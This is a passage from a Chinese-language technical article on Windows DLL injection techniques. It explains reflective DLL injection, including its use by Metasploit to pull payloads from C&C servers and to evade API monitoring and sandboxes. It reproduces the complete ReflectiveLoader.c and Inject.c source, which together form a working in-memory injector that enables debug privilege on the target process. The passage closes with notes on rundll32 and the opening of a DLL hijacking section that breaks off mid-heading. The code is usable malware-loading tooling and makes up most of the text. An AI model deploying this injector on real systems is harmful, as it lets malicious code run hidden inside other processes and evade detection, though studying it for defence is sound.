內存dll注入技術是一種從內存buffer中(msf常使用該技術從遠程C&C中下載dll payload)注入dll到本機進程的技術,爲了躲避API監控,它經常自帶PE Loader代碼,即在注入DLL中先調用一個ReflectiveLoader()導出函數,該函數的做用是"模擬PE Loader",即模擬windows dll loader的過程把自身加載連接到目標進程地址空間中,並調用真正的DllMain入口函數
大致上說,這個技術的攻擊流程以下

1. 得到CPU執行權限
    1) 可能經過CreateRemoteThread()
    2) 或者微型注入的shellcode
  3) apc dll注入
2. 調用流程到了ReflectiveLoader,若是是dll注入,則該函數必須是dll的一個導出函數 3. 注入的dll或者shellcode可能在目標進程的任意內存位置,ReflectiveLoader作的第一件事是獲取當前所在的鏡像基地址 1) _ReturnAddress 2) call-pop被用來自定位 4. 經過PEB方式動態獲取核心動態連接庫和API函數地址 1) KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) 2) NTDLLDLL_HASH(pNtFlushInstructionCache) 5. ReflectiveLoader從新申請了一塊用於存放DLL的內存地址 6. 將DLL的header和節逐個拷貝到申請的內存地址中 7. 處理導入函數,加載依賴庫(使用LoadLibrary),填充IAT 8. 重定位,修復偏移 9. 獲取該DLL的真實入口地址,須要注意的是,DLL的入口地址每每都不是DllMain而是修改過的(MSF經常使用該技術躲避sandbox檢測) 9. 經過函數指針的方式調用DLL的DllMain函數,使用DLL_PROCESS_DETACH爲參數調用DLL入口點,把控制流轉到真實的入口地址Entry Point

0x1: ReflectiveLoader.c - 模擬pe loader

//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//

// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
//         otherwise the DllMain at the end of this file will be used.

// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.

// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
    // the functions we need
    LOADLIBRARYA pLoadLibraryA     = NULL;
    GETPROCADDRESS pGetProcAddress = NULL;
    VIRTUALALLOC pVirtualAlloc     = NULL;
    NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

    USHORT usCounter;

    // the initial location of this image in memory
    ULONG_PTR uiLibraryAddress;
    // the kernels base address and later this images newly loaded base address
    ULONG_PTR uiBaseAddress;

    // variables for processing the kernels export table
    ULONG_PTR uiAddressArray;
    ULONG_PTR uiNameArray;
    ULONG_PTR uiExportDir;
    ULONG_PTR uiNameOrdinals;
    DWORD dwHashValue;

    // variables for loading this image
    ULONG_PTR uiHeaderValue;
    ULONG_PTR uiValueA;
    ULONG_PTR uiValueB;
    ULONG_PTR uiValueC;
    ULONG_PTR uiValueD;
    ULONG_PTR uiValueE;

    // STEP 0: calculate our images current base address

    // we will start searching backwards from our callers return address.
    // The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller.
    uiLibraryAddress = caller();

    // loop through memory backwards searching for our images base address
    // we dont need SEH style search as we shouldnt generate any access violations with this
    while( TRUE )
    {
        // 經過逐個DWORD搜索0x5A4D      // MZ關鍵字動態搜索DLL的文件頭
        if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
        {
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
            // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
            if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
            {
                uiHeaderValue += uiLibraryAddress;
                // break if we have found a valid MZ/PE header
                if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                    break;
            }
        }
        uiLibraryAddress--;
    }

    // STEP 1: process the kernels exports for the functions our loader needs...

    // get the Process Enviroment Block
    // 獲取PEB 
#ifdef WIN_X64
    uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
    uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
    uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

    // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

    /*
    動態獲取API函數地址
    KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC)
    NTDLLDLL_HASH(pNtFlushInstructionCache)
    */
    // get the first entry of the InMemoryOrder module list
    uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    while( uiValueA )
    {
        // get pointer to current modules name (unicode string)
        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
        // set bCounter to the length for the loop
        usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
        // clear uiValueC which will store the hash of the module name
        uiValueC = 0;

        // compute the hash of the module name...
        do
        {
            uiValueC = ror( (DWORD)uiValueC );
            // normalize to uppercase if the madule name is in lowercase
            if( *((BYTE *)uiValueB) >= 'a' )
                uiValueC += *((BYTE *)uiValueB) - 0x20;
            else
                uiValueC += *((BYTE *)uiValueB);
            uiValueB++;
        } while( --usCounter );

        // compare the hash with that of kernel32.dll
        if( (DWORD)uiValueC == KERNEL32DLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
            
            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 3;

            // loop while we still have imports to find
            while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
                
                // if we have found a function we want we get its virtual address
                if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == LOADLIBRARYA_HASH )
                        pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == GETPROCADDRESS_HASH )
                        pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == VIRTUALALLOC_HASH )
                        pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
            
                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }
        else if( (DWORD)uiValueC == NTDLLDLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
            
            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 1;

            // loop while we still have imports to find
            while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
                
                // if we have found a function we want we get its virtual address
                if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
                        pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }

        // we stop searching when we have found everything we need.
        if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
            break;

        // get the next entry
        uiValueA = DEREF( uiValueA );
    }

    // STEP 2: load our image into a new permanent location in memory...

    // get the VA of the NT Header for the PE to be loaded
    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    // 從新在目標被注入進程中申請一塊新的可讀可寫可執行內存 
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    // we must now copy over the headers
    // 寫入DLL的文件頭
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;

    while( uiValueA-- )
        *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

    // STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
    
    // itterate through all sections, loading them into memory.
    // 從DLL中逐個節拷貝到目標進程中
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
        // uiValueB is the VA for this section
        uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

        // uiValueC if the VA for this sections data
        uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

        // copy the section over
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

        while( uiValueD-- )
            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

        // get the VA of the next section
        uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }

    // STEP 4: process our images import table...
    // 在被注入進程的內存空間中重建寫入DLL的導入表

    // uiValueB = the address of the import directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
    
    // we assume their is an import table to process
    // uiValueC is the first entry in the import table
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    
    // itterate through all imports
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
    {
        // use LoadLibraryA to load the imported module into memory
        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

        // uiValueD = VA of the OriginalFirstThunk
        uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    
        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
        uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

        // itterate through all imported functions, importing by ordinal if no name present
        while( DEREF(uiValueA) )
        {
            // sanity check uiValueD as some compilers only import by FirstThunk
            if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
            {
                // get the VA of the modules NT Header
                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

                // uiNameArray = the address of the modules export directory entry
                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

                // get the VA of the export directory
                uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

                // get the VA for the array of addresses
                uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                // use the import ordinal (- export ordinal base) as an index into the array of addresses
                uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

                // patch in the address for this imported function
                DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
            }
            else
            {
                // get the VA of this functions import by name struct
                uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

                // use GetProcAddress and patch in the address for this imported function
                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
            }
            // get the next imported function
            uiValueA += sizeof( ULONG_PTR );
            if( uiValueD )
                uiValueD += sizeof( ULONG_PTR );
        }

        // get the next import
        uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }

    // STEP 5: process all of our images relocations...
    // 在被注入進程的內存空間中對DLL導入函數進行重定位

    // calculate the base address delta and perform relocations (even if we load at desired image base)
    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

    // uiValueB = the address of the relocation directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

    // check if their are any relocations present
    if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    {
        // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
        uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

        // and we itterate through all entries...
        while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
        {
            // uiValueA = the VA for this relocation block
            uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

            // uiValueB = number of entries in this relocation block
            uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

            // uiValueD is now the first entry in the current relocation block
            uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

            // we itterate through all the entries in the current block...
            while( uiValueB-- )
            {
                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
                // we dont use a switch statement to avoid the compiler building a jump table
                // which would not be very position independent!
                if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
                // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
                {    
                    register DWORD dwInstruction;
                    register DWORD dwAddress;
                    register WORD wImm;
                    // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
                    dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
                    // flip the words to get the instruction as expected
                    dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
                    // sanity chack we are processing a MOV instruction...
                    if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
                    {
                        // pull out the encoded 16bit value (the high portion of the address-to-relocate)
                        wImm  = (WORD)( dwInstruction & 0x000000FF);
                        wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
                        wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
                        wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
                        // apply the relocation to the target address
                        dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
                        // now create a new instruction with the same opcode and register param.
                        dwInstruction  = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
                        // patch in the relocated address...
                        dwInstruction |= (DWORD)(dwAddress & 0x00FF);
                        dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
                        dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
                        dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
                        // now flip the instructions words and patch back into the code...
                        *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
                    }
                }
#endif
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

                // get the next entry in the current relocation block
                uiValueD += sizeof( IMAGE_RELOC );
            }

            // get the next entry in the relocation directory
            uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        }
    }

    // STEP 6: call our images entry point
    // 經過函數指針調用被注入進程的內存空間中的DLL入口地址,這裏使用的就是真實的DllMain地址,實際上可使用一個修改了EntryPoint的DLL,這種DLL能夠躲避sandbox的運行

    // uiValueA = the VA of our newly loaded DLL/EXE's entry point
    uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

    // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

    // call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
    // if we are injecting an DLL via a stub we call DllMain with no parameter
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

    // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
    return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
    switch( dwReason ) 
    { 
        case DLL_QUERY_HMODULE:
            if( lpReserved != NULL )
                *(HMODULE *)lpReserved = hAppInstance;
            break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            break;
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
            break;
    }
    return bReturnValue;
}

#endif
//===============================================================================================//

0x2: Inject.c

//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "LoadLibraryR.h"

#pragma comment(lib,"Advapi32.lib")

#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }

// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
    HANDLE hFile          = NULL;
    HANDLE hModule        = NULL;
    HANDLE hProcess       = NULL;
    HANDLE hToken         = NULL;
    LPVOID lpBuffer       = NULL;
    DWORD dwLength        = 0;
    DWORD dwBytesRead     = 0;
    DWORD dwProcessId     = 0;
    TOKEN_PRIVILEGES priv = {0};

#ifdef WIN_X64
    char * cpDllFile  = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
    char * cpDllFile  = "reflective_dll.dll";
#else WIN_ARM
    char * cpDllFile  = "reflective_dll.arm.dll";
#endif
#endif

    do
    {
        // Usage: inject.exe [pid] [dll_file]

        if( argc == 1 )
            dwProcessId = GetCurrentProcessId();
        else
            dwProcessId = atoi( argv[1] );

        if( argc >= 3 )
            cpDllFile = argv[2];

        hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
        if( hFile == INVALID_HANDLE_VALUE )
            BREAK_WITH_ERROR( "Failed to open the DLL file" );

        dwLength = GetFileSize( hFile, NULL );
        if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );

        lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
        if( !lpBuffer )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );

        if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
            BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

        if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        {
            priv.PrivilegeCount           = 1;
            priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
            if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

            CloseHandle( hToken );
        }

        hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
        if( !hProcess )
            BREAK_WITH_ERROR( "Failed to open the target process" );

        // 將待注入的DLL經過ReflectiveLoader注入到目標進程空間中
        hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
        if( !hModule )
            BREAK_WITH_ERROR( "Failed to inject the DLL" );

        printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
        
        WaitForSingleObject( hModule, -1 );

    } while( 0 );

    if( lpBuffer )
        HeapFree( GetProcessHeap(), 0, lpBuffer );

    if( hProcess )
        CloseHandle( hProcess );

    return 0;
}

Relevant Link: 

https://msdn.microsoft.com/en-us/library/64ez38eh.aspx
https://github.com/stephenfewer/ReflectiveDLLInjection
https://countercept.com/our-thinking/threat-hunting-for-fileless-malware/
http://bobao.360.cn/learning/detail/3883.html
http://bobao.360.cn/learning/detail/3881.html
https://msdn.microsoft.com/zh-cn/library/d8ba5k1h(v=vs.90).aspx
https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/
https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ 

 

14. 經過系統指令rundll32.exe執行DLL中指定函數

Rundll32 dllname.dll,funcname
# or
Rundll32 dllname.dll,#funcnumber

Relevant Link:

https://technet.microsoft.com/en-us/library/ee649171(v=ws.11).aspx

 

15. DLL劫持 - lpk.dll

0x1: 原理

每一個PE文件都有一個"導入表",pe文件在加載時,會優先加載"導入表"中的PE文件。進程在運行時,會從"導入表"中獲取要加載的DLL的名稱,而後按照指定的目錄順序去加載這些dll。"導入表"中有系統dll,也有程序自帶的dll,所以dll劫持可再細分爲

1. 系統dll劫持: 替換系統原生dll(例如kernel32.dll)
2. 程序自帶dll劫持(隨應用程序分發的dll)

DLL在被加載時有個搜索順序

